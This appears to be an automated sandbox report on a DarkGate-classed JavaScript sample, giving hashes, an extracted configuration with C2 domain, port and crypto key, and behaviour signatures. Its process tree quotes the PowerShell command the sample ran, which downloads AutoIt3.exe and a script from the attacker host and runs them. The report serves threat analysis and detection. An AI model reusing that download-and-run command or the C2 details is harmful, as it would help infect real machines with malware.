Resubmissions

27-10-2023 17:41

231027-v9hqxsgb3s 10

27-10-2023 17:25

231027-vzpfqahf58 10

27-10-2023 17:25

231027-vy9p9shf56 10

Analysis

  • max time kernel
    315s
  • max time network
    391s
  • platform
    windows10-1703_x64
  • resource
    win10-20231020-en
  • resource tags

    arch:x64arch:x86image:win10-20231020-enlocale:en-usos:windows10-1703-x64system
  • submitted
    27-10-2023 17:41

General

  • Target

    28102023_0125_trumpet.js

  • Size

    134KB

  • MD5

    63fdbf0bf47d957bc9e77b9bbc7cdaf0

  • SHA1

    3f3d8c96f6cf374c22dd6eac5a1c958482bbe829

  • SHA256

    5d7605d640f5ede04a0e61024513f386730bfa223f39ac0d4cf2830ea6dc8500

  • SHA512

    3c5e6568396ccd2fa63b993cab6c925af83b292a1d0f6e0f22c145c65e7723e698efd2613c202177c695e2038a0295855f8d9b7168815630be990430c2e51849

  • SSDEEP

    1536:hZUTSCM9Cfq7u02PmUVdGXjXl4xc5KTPBoMqS7j8frPWgtZPnCUQrNgZnFFQE/08:UT9U7hgaX6eerjqlI2IO6Mzqf40Ml/

Malware Config

Extracted

Family

darkgate

Botnet

user_871236672

C2

http://profitcentronline.com

Attributes
  • alternative_c2_port

    8080

  • anti_analysis

    true

  • anti_debug

    true

  • anti_vm

    true

  • c2_port

    2351

  • check_disk

    true

  • check_ram

    true

  • check_xeon

    true

  • crypter_au3

    false

  • crypter_dll

    false

  • crypter_rawstub

    true

  • crypto_key

    KispcMbVooJeJD

  • internal_mutex

    txtMut

  • minimum_disk

    40

  • minimum_ram

    6000

  • ping_interval

    4

  • rootkit

    true

  • startup_persistence

    true

  • username

    user_871236672

Signatures

  • DarkGate

    DarkGate is an infostealer written in C++.

  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\28102023_0125_trumpet.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5056
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/temp' -Type Directory -Force;cd 'C:/temp'; Invoke-WebRequest -Uri 'http://profitcentronline.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://profitcentronline.com:2351/msidctseyzi' -OutFile 'dctseyzi.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'dctseyzi.au3'"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3488
      • C:\temp\AutoIt3.exe
        "C:\temp\AutoIt3.exe" dctseyzi.au3
        3⤵
        • Executes dropped EXE
        • Checks processor information in registry
        PID:992

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xzbmdgwf.zmw.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\temp\AutoIt3.exe

    Filesize

    872KB

    MD5

    c56b5f0201a3b3de53e561fe76912bfd

    SHA1

    2a4062e10a5de813f5688221dbeb3f3ff33eb417

    SHA256

    237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

    SHA512

    195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

  • C:\temp\dctseyzi.au3

    Filesize

    493KB

    MD5

    ed9069a8f504d2dca660d7ca452df7b5

    SHA1

    27249509d8c7870e61d1828323b00c8f57534866

    SHA256

    fe6440f818ad94374740fa7861a2cb28886f07d3b21cd27f28725fe3dc146f98

    SHA512

    99c0110c6317d82cabdb016613c86413f14494eb019fe9b17788bcb62c3dd3ec0d35db7a2eadee923835a4cabb512b5af0299578a7e1cbd5e4269891df7a8f2f

  • memory/992-63-0x0000000004360000-0x000000000468A000-memory.dmp

    Filesize

    3.2MB

  • memory/992-62-0x0000000004360000-0x000000000468A000-memory.dmp

    Filesize

    3.2MB

  • memory/992-61-0x0000000001710000-0x0000000001B10000-memory.dmp

    Filesize

    4.0MB

  • memory/3488-9-0x00000229F6150000-0x00000229F61C6000-memory.dmp

    Filesize

    472KB

  • memory/3488-34-0x00000229DC0D0000-0x00000229DC0E0000-memory.dmp

    Filesize

    64KB

  • memory/3488-35-0x00000229DC0D0000-0x00000229DC0E0000-memory.dmp

    Filesize

    64KB

  • memory/3488-33-0x00007FFADC7F0000-0x00007FFADD1DC000-memory.dmp

    Filesize

    9.9MB

  • memory/3488-58-0x00007FFADC7F0000-0x00007FFADD1DC000-memory.dmp

    Filesize

    9.9MB

  • memory/3488-29-0x00000229DC0D0000-0x00000229DC0E0000-memory.dmp

    Filesize

    64KB

  • memory/3488-4-0x00000229F60A0000-0x00000229F60C2000-memory.dmp

    Filesize

    136KB

  • memory/3488-6-0x00000229DC0D0000-0x00000229DC0E0000-memory.dmp

    Filesize

    64KB

  • memory/3488-5-0x00007FFADC7F0000-0x00007FFADD1DC000-memory.dmp

    Filesize

    9.9MB